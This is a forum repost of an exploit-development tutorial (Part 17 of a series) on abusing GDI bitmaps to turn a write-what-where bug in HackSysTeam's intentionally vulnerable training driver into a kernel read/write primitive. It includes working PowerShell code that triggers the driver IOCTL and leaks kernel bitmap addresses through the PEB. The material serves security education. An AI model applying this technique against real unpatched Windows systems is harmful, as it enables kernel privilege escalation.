Jump to content
Nytro

Kernel Exploitation -> GDI Bitmap Abuse (Win7-10 32/64bit)

Recommended Posts

Part 17: Kernel Exploitation -> GDI Bitmap Abuse (Win7-10 32/64bit)

Hello and welcome! We are, once again, diving into ring0 with @HackSysTeam's driver. In this post we will be revisiting the write-what-where vulnerability. By implementing a powerful ring0 read/write primitive we can create an exploit that works on Windows 7, 8, 8.1 and 10 (pre v1607) and targets both 32 and 64 bit architectures! As we will see, this technique is essentially a data attack so we will painlessly circumvent SMEP/SMAP/CFG/RFG => winning!

This technique is slightly "complicated" and requires some prior knowledge on the part of the reader so I highly recommend that the resources below are reviewed before starting on this post. Finally, to keep things fresh we will be developing our exploit on a 64-bit Windows 10 host. Enough introductory nonsense, let's get to it!

Resources:
+ HackSysTeam-PSKernelPwn (@FuzzySec) - here
+ Abusing GDI for ring0 exploit primitives (@CoreSecurity) - here
+ Abusing GDI Reloaded (@CoreSecurity) - here
+ This Time Font hunt you down in 4 bytes (@keen_lab) - here
+ Terminus Project (@rwfpl) - here

 

Recon the challenge

We are rehashing the write-what-where vulnerability from part 11 of this series so we won't go over the entire analysis again. We just want to make sure our arbitrary write still works as expected on Win 10.

?
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
}
"@
 
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
 
[byte[]]$Buffer = [System.BitConverter]::GetBytes(0x4141414141414141) + [System.BitConverter]::GetBytes(0x4242424242424242)
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22200B"
[EVD]::DeviceIoControl($hDevice, 0x22200B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

We seem to get the expected result, as shown below.

 

Kernel_GDI_1.png

 

You may remember from part 11 that this is not entirely as it appears. The value we are writing is not in fact 0x4141414141414141 it is the pointer stored at that address. Also, our POC only works on 64 bit. We would do well to keep our exploit architecture independent from the start!

We can modify the buffer structure as show below to get the arbitrary write we want on 32/64 bit.

?
# [IntPtr]$WriteWhatPtr->$WriteWhat + $WriteWhere
#---
[IntPtr]$WriteWhatPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.BitConverter]::GetBytes($WriteWhat).Length)
[System.Runtime.InteropServices.Marshal]::Copy([System.BitConverter]::GetBytes($WriteWhat), 0, $WriteWhatPtr, [System.BitConverter]::GetBytes($WriteWhat).Length)
if ($x32Architecture) {
    [byte[]]$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt32()) + [System.BitConverter]::GetBytes($WriteWhere)
} else {
    [byte[]]$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt64()) + [System.BitConverter]::GetBytes($WriteWhere)
}

As long as pass in the appropriate variables, this should now work universally.

Pwn all the things!

Game Plan

That's the easy part done. What we want to do now is turn a single arbitrary write into a full ring0 read/write primitive. At a high level we will (1) create two bitmap objects, (2) leak their respective kernel addresses, (3) use our arbitrary write to modify a header element for one of the bitmap objects and (4) use the the Gdi32 GetBitmapBits/SetBitmapBits API calls to read from and write to kernel space!

 

Kernel_GDI_2.png

 

Leaking Bitmap Kernel Objects

The crucial part of this technique is that, when creating a bitmap, we can leak the address of the bitmap object in the kernel. This leak was patched by Microsoft in v1607 of Windows 10 (aka the anniversary patch) => crycry.

As it turns out, when a bitmap is created, a struct is added to the GdiSharedHandleTable in the parent process PEB. Given the base address of the process PEB, the GdiSharedHandleTable is located at the following offsets (32/64 bit respectively).

?
[StructLayout(LayoutKind.Explicit, Size = 256)]
public struct _PEB
{
    [FieldOffset(148)]
    public IntPtr GdiSharedHandleTable32;
    [FieldOffset(248)]
    public IntPtr GdiSharedHandleTable64;
}

This PEB entry is simply a pointer to an array of GDICELL structs which define a number of different image types. The definition of this struct can be seen below.

?
/// 32bit size: 0x10
/// 64bit size: 0x18
[StructLayout(LayoutKind.Sequential)]
public struct _GDI_CELL
{
    public IntPtr pKernelAddress;
    public UInt16 wProcessId;
    public UInt16 wCount;
    public UInt16 wUpper;
    public UInt16 wType;
    public IntPtr pUserAddress;
}

Let's use the following POC to see if we can manually find the _GDI_CELL struct in KD.

?
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("gdi32.dll")]
    public static extern IntPtr CreateBitmap(
        int nWidth,
        int nHeight,
        uint cPlanes,
        uint cBitsPerPel,
        IntPtr lpvBits);
}
"@
 
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
$Bitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
"{0:X}" -f [int]$Bitmap

We run the POC and get back a bitmap handle, immediately it seems obvious that this is not a standard handle value returned by so many Windows API calls (it is much too large).

 

Kernel_GDI_3.png

 

In fact, thanks to no cleverness on my part, the last two bytes of bitmap handles are actually the index for the struct in the GdiSharedHandleTable array (=> handle & 0xffff). Knowing this, let's jump in KD and see if we can find the _GDI_CELL struct for our newly created bitmap!

 

Kernel_GDI_4.png

 

With the pointer to the GdiSharedHandleTable array, all we need to do is add the struct index times the struct size (0x18 on 64bit).

 

Kernel_GDI_5.png

 

Process hacker has a very useful feature which allows us to list GDI object handles. We can use this to confirm the values we found in KD.

 

Kernel_GDI_6.png

 

Sw33t! For our ring0 primitive we need to collect this information programmatically for two bitmaps (a manager and a worker). As we were able to see, it's just some simple math based on the bitmap handle. The only question is how do we get the base address for the process PEB. Fortunately the undocumented, NtQueryInformationProcess function comes to the rescue. When called with the ProcessBasicInformation class (0x0), the function returns a struct which contains the base address of the PEB. I won't go into further detail on this as it is a well understood technique, hopefully the POC below will clear up any doubts!

?
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
[StructLayout(LayoutKind.Sequential)]
public struct _PROCESS_BASIC_INFORMATION
{
    public IntPtr ExitStatus;
    public IntPtr PebBaseAddress;
    public IntPtr AffinityMask;
    public IntPtr BasePriority;
    public UIntPtr UniqueProcessId;
    public IntPtr InheritedFromUniqueProcessId;
}
 
/// Partial _PEB
[StructLayout(LayoutKind.Explicit, Size = 256)]
public struct _PEB
{
    [FieldOffset(148)]
    public IntPtr GdiSharedHandleTable32;
    [FieldOffset(248)]
    public IntPtr GdiSharedHandleTable64;
}
 
[StructLayout(LayoutKind.Sequential)]
public struct _GDI_CELL
{
    public IntPtr pKernelAddress;
    public UInt16 wProcessId;
    public UInt16 wCount;
    public UInt16 wUpper;
    public UInt16 wType;
    public IntPtr pUserAddress;
}
 
public static class EVD
{
    [DllImport("ntdll.dll")]
    public static extern int NtQueryInformationProcess(
        IntPtr processHandle,
        int processInformationClass,
        ref _PROCESS_BASIC_INFORMATION processInformation,
        int processInformationLength,
        ref int returnLength);
 
    [DllImport("gdi32.dll")]
    public static extern IntPtr CreateBitmap(
        int nWidth,
        int nHeight,
        uint cPlanes,
        uint cBitsPerPel,
        IntPtr lpvBits);
}
"@
 
#==============================================[PEB]
 
# Flag architecture $x32Architecture/!$x32Architecture
if ([System.IntPtr]::Size -eq 4) {
    echo "`n[>] Target is 32-bit!"
    $x32Architecture = 1
} else {
    echo "`n[>] Target is 64-bit!"
}
# Current Proc handle
$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
# Process Basic Information
$PROCESS_BASIC_INFORMATION = New-Object _PROCESS_BASIC_INFORMATION
$PROCESS_BASIC_INFORMATION_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($PROCESS_BASIC_INFORMATION)
$returnLength = New-Object Int
$CallResult = [EVD]::NtQueryInformationProcess($ProcHandle, 0, [ref]$PROCESS_BASIC_INFORMATION, $PROCESS_BASIC_INFORMATION_Size, [ref]$returnLength)
# PID & PEB address
echo "`n[?] PID $($PROCESS_BASIC_INFORMATION.UniqueProcessId)"
if ($x32Architecture) {
    echo "[+] PebBaseAddress: 0x$("{0:X8}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt32())"
} else {
    echo "[+] PebBaseAddress: 0x$("{0:X16}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64())"
}
# Lazy PEB parsing
$_PEB = New-Object _PEB
$_PEB = $_PEB.GetType()
$BufferOffset = $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64()
$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
$PEBFlags = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_PEB)
# GdiSharedHandleTable
if ($x32Architecture) {
    echo "[+] GdiSharedHandleTable: 0x$("{0:X8}" -f $PEBFlags.GdiSharedHandleTable32.ToInt32())"
} else {
    echo "[+] GdiSharedHandleTable: 0x$("{0:X16}" -f $PEBFlags.GdiSharedHandleTable64.ToInt64())"
}
# _GDI_CELL size
$_GDI_CELL = New-Object _GDI_CELL
$_GDI_CELL_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($_GDI_CELL)
 
#==============================================[/PEB]
 
#==============================================[Bitmap]
 
echo "`n[>] Creating Bitmaps.."
 
# Manager Bitmap
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
$ManagerBitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
echo "[+] Manager BitMap handle: 0x$("{0:X}" -f [int]$ManagerBitmap)"
if ($x32Architecture) {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt32]$HandleTableEntry)"
    $ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X8}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)))"
} else {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt64]$HandleTableEntry)"
    $ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X16}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)))"
}
 
# Worker Bitmap
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
$WorkerBitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
echo "[+] Worker BitMap handle: 0x$("{0:X}" -f [int]$WorkerBitmap)"
if ($x32Architecture) {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt32]$HandleTableEntry)"
    $WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X8}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)))"
} else {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt64]$HandleTableEntry)"
    $WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X16}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)))"
}
 
#==============================================[/Bitmap]

 

© Copyright FuzzySecurity

 

Articol complet: https://www.fuzzysecurity.com/tutorials/expDev/21.html

 

 

 

  • Upvote 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...